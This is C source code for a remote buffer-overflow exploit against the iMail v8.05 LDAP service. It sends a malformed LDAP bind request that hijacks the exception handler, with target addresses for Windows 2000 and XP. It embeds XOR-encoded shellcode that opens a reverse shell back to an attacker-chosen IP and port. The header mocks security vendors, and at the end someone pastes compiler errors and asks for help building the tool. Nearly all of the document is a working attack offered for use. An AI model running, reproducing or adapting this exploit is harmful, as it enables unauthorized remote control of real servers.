/* [Crpt] iMail v8.05 LDAP service remote sploit by kralor [Crpt] */
/******************************************************************/
/* (filtered) iDefense */
/* (filtered) k-otik */
/* (filtered) private exploits */
/* in other words, (filtered) you all security money makers and */
/* private exploits exchangers. */
/* lolo xXx for her patience while these long nights coding */
/* and for errr.. you know what
*//******************************************************************/
/* informations: www.coromputer.net,irc undernet #coromputer */
/******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#pragma comment (lib,"ws2_32")
// EBP+~0xB6 (ebp+ecx-4) (Structed Exception Handler)
#define SEH_ADDR 0x50FFFFFF
/* for win2k offset:
--- jmp dword ptr [ebx]
*/
#define HIJACKED_2K_EVL 0x0043BD8B // (8.05 eval)
#define HIJACKED_2K_EXP 0x1000F7B0 // (8.05 express)
#define HIJACKED_2K_PRO 0x1000F7A9 // (8.05 pro (not sure
))/* for winXP offset:
--- pop esi
--- pop ebx
--- ret
*/
#define HIJACKED_XP_EVL 0x0041F5C7 // (8.05 eval)
#define HIJACKED_XP_EXP 0x100106BC // (8.05 express)
#define HIJACKED_XP_PRO 0x100103CC // (8.05 pro) (not sure
))// sequence of 4 opcodes
#define HOP 0xd4 // host opcode
#define POP 0xd7 // port opcode
int cnx(char *host, int port)
{
int sock;
struct sockaddr_in yeah;
struct hostent *she;
sock=socket(AF_INET,SOCK_STREAM,0);
if(!sock) {
printf("error: unable to create socket\r\n");
return 0;
}
yeah.sin_family=AF_INET;
yeah.sin_addr.s_addr=inet_addr(host);
yeah.sin_port=htons((u_short)port);
if((she=gethostbyname(host))!=NULL) {
memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
} else {
if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
printf("error: cannot resolve host\r\n");
return 0;
}
}
printf("[+] Connecting to %-30s ...",host);
if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
printf("error: connection refused\r\n");
return 0;
}
printf("Done\r\n");
return sock;
}
void banner(void)
{
printf("\r\n [Crpt] iMail LDAP service v3.12.10.3/v8.05 remote sploit by kralor [Crpt]\r\n");
printf("\t\t www.coromputer.net && undernet #coromputer\r\n\r\n");
return;
}
void syntax(char *prog)
{
printf("\r\nsyntax: %s <host> <your_ip> <your_port> <version> [OSver]\r\n\r\n",prog);
printf("<version>\t0\t8.05 professional\r\n");
printf(" \t1\t8.05 express\r\n");
printf(" \t2\t8.05 evaluation\r\n---\r\n");
printf("[OSver] \t0\twindows 2000 universal [default]\r\n");
printf(" \t1\twindows XP universal\r\n");
exit(0);
}
int main(int argc, char *argv[])
{
int sock,bytes,target,osver=0;
WSADATA wsaData;
char buffer[8095];
unsigned long host,port;
unsigned int i;
char req1[] =
"\x30\x82" /* bind request */
"\x0a\x3d" /* bind req len */
/* msg id */
"\x02" /* integer */
"\x01" /* length */
"\x01" /* value */
"\x60" /* bind request */
"\x82" /* msg length 2bytes */
"\x01\x36" /* msg length */
/* LDAP ver */
"\x02" /* integer */
"\xff" /* length */
"\x03" /* value */
"\x05\x00" /* DN NULL */
"\x80\x00"; /* Auth simple */
char shellc0de[] = /* sizeof(shellc0de+xorer) == 334 bytes */
/* classic xorer */
"\x90"
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66"
"\xb9\x33\x01\x80\x33\x95\x43\xe2\xfa"
/* reverse remote shell */
"\x14\x79\x05\x94\x95\x95\x1e\x61\xc0\xc3\xf1\x34\xa5\x95\x95\x95"
"\x1e\xd5\x99\x1e\xe5\x89\x38\x1e\xfd\x9d\x7e\x95\x1e\x50\xcb\xc8"
"\x1c\x93\x6a\xa3\xfd\x1b\xdb\x9b\x79\x7d\x38\x95\x95\x95\xfd\xa6"
"\xa7\x95\x95\xfd\xe2\xe6\xa7\xca\xc1\x6a\x45\x1e\x6d\xc2\xfd\x4c"
"\x9c\x60\x38\x7d\x06\x95\x95\x95\xa6\x5c\xc4\xc4\xc4\xc4\xd4\xc4"
"\xd4\xc4\x6a\x45\x1c\xd3\xb1\xc2\xfd\x79\x6c\x3f\xf5\x7d\xec\x95"
"\x95\x95\xfd\xd4\xd4\xd4\xd4\xfd\xd7\xd7\xd7\xd7\x1e\x59\xff\x85"
"\xc4\x6a\xe3\xb1\x6a\x45\xfd\xf6\xf8\xf1\x95\x1c\xf3\xa5\x6a\xa3"
"\xfd\xe7\x6b\x26\x83\x7d\xc4\x95\x95\x95\x1c\xd3\x8b\x16\x79\xc1"
"\x18\xa9\xb1\xa6\x55\xa6\x5c\x16\x54\x80\x3e\x77\x68\x53\xd1\xb1"
"\x85\xd1\x6b\xd1\xb1\xa8\x6b\xd1\xb1\xa9\x1e\xd3\xb1\x1c\xd1\xb1"
"\xdd\x1c\xd1\xb1\xd9\x1c\xd1\xb1\xc5\x18\xd1\xb1\x85\xc1\xc5\xc4"
"\xc4\xc4\xff\x94\xc4\xc4\x6a\xe3\xa5\xc4\x6a\xc3\x8b\x6a\xa3\xfd"
"\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x95\x6a\x45\xc6\xc0\xc3\xc2\x1e"
"\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x90\xed\x96\x40\x1e\xdf\x8d\x1e"
"\xcf\xb5\x96\x48\x76\xa7\xdc\x1e\xa1\x1e\x96\x60\xa6\x6a\x69\xa6"
"\x55\x39\xaf\x51\xe1\x92\x54\x5a\x98\x96\x6d\x7e\x67\xae\xe9\xb1"
"\x81\xe0\x74\x1e\xcf\xb1\x96\x48\xf3\x1e\x99\xde\x1e\xcf\x89\x96"
"\x48\x1e\x91\x1e\x96\x50\x7e\x97\xa6\x55\x1e\x40\xca\xcb\xc8\xce"
"\x57\x91\x95";
banner();
if(argc<5||argc>6)
syntax(argv[0]);
host=inet_addr(argv[2])^0x95959595;
port=atoi(argv[3]);
if(!isdigit(argv[4][0])||strlen(argv[4])>1) {
printf("error: <version> must be one digit\r\n");
syntax(argv[0]);
return -1;
}
target=atoi(argv[4]);
if(target<0||target>2) {
printf("error: <version> must be 0, 1 or 2\r\n");
syntax(argv[0]);
return -1;
}
if(argc==6) {
if(!isdigit(argv[5][0])||strlen(argv[5])>1) {
printf("error: [OSver] must be one digit\r\n");
syntax(argv[0]);
return -1;
}
osver=atoi(argv[5]);
if(osver<0||osver>1) {
printf("error: [OSver] must be 0 or 1\r\n");
syntax(argv[0]);
return -1;
}
}
if(port<=0||port>65535) {
printf("error: <port> must be between 1 and 65535\r\n");
syntax(argv[0]);
return -1;
}
port=htons((unsigned short)port);
port=port<<16;
port+=0x0002;
port=port^0x95959595;
for(i=0;i<sizeof(shellc0de);i++) {
if((unsigned char)shellc0de[i]==HOP&&(unsigned char)shellc0de[i+1]==HOP)
if((unsigned char)shellc0de[i+2]==HOP&&(unsigned char)shellc0de[i+3]==HOP) {
memcpy(&shellc0de[i],&host,4);
host=0;
}
if((unsigned char)shellc0de[i]==POP&&(unsigned char)shellc0de[i+1]==POP)
if((unsigned char)shellc0de[i+2]==POP&&(unsigned char)shellc0de[i+3]==POP) {
memcpy(&shellc0de[i],&port,4);
port=0;
}
}
if(host||port) {
printf("error: unabled to find ip/port sequence in shellc0de\r\n");
return -1;
}
if(WSAStartup(0x0101,&wsaData)!=0) {
printf("error: unable to load winsock\r\n");
return -1;
}
sock=cnx(argv[1],389);
if(!sock)
return -1;
/* <----- magic packet -----> */
strncpy(buffer,req1,13);
memset(&buffer[13],0x90,7010);
*(unsigned long*)&buffer[13] = SEH_ADDR;
if(!osver) {
if(!target)
*(unsigned long*)&buffer[17] = HIJACKED_2K_PRO;
else if(target==1)
*(unsigned long*)&buffer[17] = HIJACKED_2K_EXP;
else
*(unsigned long*)&buffer[17] = HIJACKED_2K_EVL;
} else {
if(!target)
*(unsigned long*)&buffer[17] = HIJACKED_XP_PRO;
else if(target==1)
*(unsigned long*)&buffer[17] = HIJACKED_XP_EXP;
else
*(unsigned long*)&buffer[17] = HIJACKED_XP_EVL;
}
*(unsigned long*)&buffer[21] = 0x90909013; // to avoid 0x00 <unwanted instructions> on winXP
memcpy(&buffer[200],shellc0de,sizeof(shellc0de)-1);
memcpy(&buffer[7000+23],&req1[10],4);
printf("[+] Sending magic packet ...");
bytes=send(sock,buffer,sizeof(buffer)-1,0);
printf("Done\r\n");
if(bytes==0) { printf("error: send()\r\n"); }
closesocket(sock);
return 0;
}
/******************************************************************
when compiling, here's the error I get....can some one please tell me what's wrong
Wedit output window build: Thu Feb 19 11:19:09 2004
Error c:\lcc\projects\gso\robot.c 53 undefined reference to _socket@12
Error c:\lcc\projects\gso\robot.c 59 undefined reference to _inet_addr@4
Error c:\lcc\projects\gso\robot.c 60 undefined reference to _htons@4
Error c:\lcc\projects\gso\robot.c 62 undefined reference to _gethostbyname@4
Error c:\lcc\projects\gso\robot.c 71 undefined reference to _connect@12
Error c:\lcc\projects\gso\robot.c 210 undefined reference to _WSAStartup@8
Error c:\lcc\projects\gso\robot.c 241 undefined reference to _send@16
Error c:\lcc\projects\gso\robot.c 244 undefined reference to _closesocket@4
search
Compilation + link time:1.2 sec, Return code: 11
thanks
...... thx a lot!
